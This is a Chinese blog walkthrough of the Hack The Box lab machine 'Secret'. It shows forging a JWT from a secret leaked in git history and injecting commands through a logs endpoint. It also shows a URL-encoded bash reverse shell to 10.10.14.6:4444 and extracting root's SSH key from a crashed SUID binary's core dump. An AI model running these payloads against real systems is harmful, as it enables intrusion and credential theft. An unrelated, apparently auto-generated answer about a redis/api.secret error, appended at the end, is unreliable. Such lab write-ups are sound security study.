Linux/Secret

6cc68e3b44b246e69fa43788b54d19c7.png

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3000端口,端口详细信息如下

3264b502868e4157924127e2f6e53261.png

可以看到22端口对应的是ssh服务,80和3000都是http服务,80端口使用nginx,3000使用了Node.js

TCP/80

可以先从80端口开始探索,看起来是一个文档网站,叫DUMBDocs

a2fadcd971d64495b1e02d2df8c3a370.png

再往下可以看到有一些功能,introduction还提到了使用JWT token认证

39425ee90fb84078a446066cfc7fa1d9.png

在最下面可以下载源代码

0020367ff2dd48dfa5078bc19b5dbec3.png

将文件解压缩后打开,发现里面有.git目录,实际上这是一个git仓库,可以查看日志看看哪些内容做了改动

dbf1e547f37147f9b1e19279ea80f84a.png

可以使用git log来查看日志,日志中有一行很有趣,提到了因为安全原因删除了.env

847ceb3149e741ae83eef0e126a7ec2f.png

可以使用git show来查看当前提交与源代码之间的区别,可以看到一个TOKEN_SECRET的明文值,但是目前已经变成机密了

fdcf5bb3edca481f85867a4b0ba61664.png

查看其他提交时发现引入了/logs,目的是让管理员查看服务器上的日志,它可能会造成命令执行,file变量作为参数传递给git log时,最终会传递给exec函数去执行,因为verifytoken的存在,所以需要身份认证才能做到这一点

d3954e5c00c5482daff6658b7c9a12ce.png

查看网站源代码,在routes中有一个auth.js,在login部分,它介绍了如何为登陆成功的用户生成jwt token

00547c0a67684471929929be7f7791cb.png

利用代码中提到的三个参数,以及之前获取得到的TOKEN_SERCET,在jwt.io中创建一个jwt token

488da028923c4d9da23d67399bfb73b7.png

使用该jwt token请求logs,但是却报错了,刚才在网站查看时也发现很多接口都在/api下面,尝试添加/api,添加后没有报404,直接报了500

9ee954b17215496ab125a667e4e39aa5.png

按照刚才代码中所写,在请求logs时需要有一个参数,尝试添加?file=id,可以看到响应中cmd参数的值发生了改变,应该是git log --oneline id这个指令exec不知道该如何处理,在id前添加;即可

5e1cda9ee63e427196cdf7dccfa58758.png

将请求改为/api/logs?file=;id之后,发现响应正常,并且成功执行了指令

c3dafd4efaf14ed4b70d3cf3404fc52c.png

可以尝试执行反向shell

;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

fb0efe36815c44fea71a926ed5557ab1.png

Privilege Escalation

获取交互式shell

211ebbb56b3549fb8bbb66abc11bb6a7.png

在/opt目录下,有一个count文件,该文件是一个SUID文件,这意味着无论谁执行这个文件,都会以其所有者的身份去运行,而count属于root

83d33a90790d4284806c5ef4d4fb5ab2.png

尝试执行该文件,提示需要输入文件名,所以输入了/root/root.txt,程序统计了文件中的字数,并且提示是否保存文件

66632ac7ce60471d9245f0e3b0f0d4cd.png

code.c是程序来源,查看其他人的wp,并结合代码,可以尝试利用count二进制文件来读取ssh密钥,然后在文件处理程序被破坏前使程序崩溃,程序崩溃后,会在/var/crashes目录下创建一个core dump文件。所以,可以执行程序,然后让程序读取/root/.ssh/id_rsa密钥文件,在使用ctrl+z置于后台,发送对应信号,当重新把程序置于前台时,就会崩溃并创建转储文件

/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

a3116215be984fd39a64b2773f51362e.png

执行上述命令后,告知核心转储已创建,现在可以使用apport-unpack和strings来提取根ssh密钥

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump

e2a0c2ef6b1d4b11846080b1304f1141.png

复制该密钥保存后添加权限,然后可以使用该密钥登录ssh

6f386650d73541da9cf2ec8c4ab7e64d.png

 

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容,问题是关于启动服务器失败的问题,需要修改配置文件中的api.secret。根据引用\[1\]和引用\[2\],可以看出在启动服务器时,会创建一个包含服务器认证信息的文件。而根据引用\[3\]中提到的问题原因,可能是由于redis服务器的访问权限问题导致无法设置键值。此外,还提到了redis访问了/etc/cron.d目录,这是一个存放定时任务脚本的目录。因此,可能需要检查配置文件中的路径是否正确,并确保redis服务器具有访问所需文件和目录的权限。 #### 引用[.reference_title] - *1* *2* [CentOS启动图形界面startx:xauth: file /root/.serverauth.25690 does not exist](https://blog.csdn.net/The_Time_Runner/article/details/102584043)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Failed opening the RDB file root (in server root dir /etc/cron.d) for saving: Permission denied](https://blog.csdn.net/weixin_46080554/article/details/103678056)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值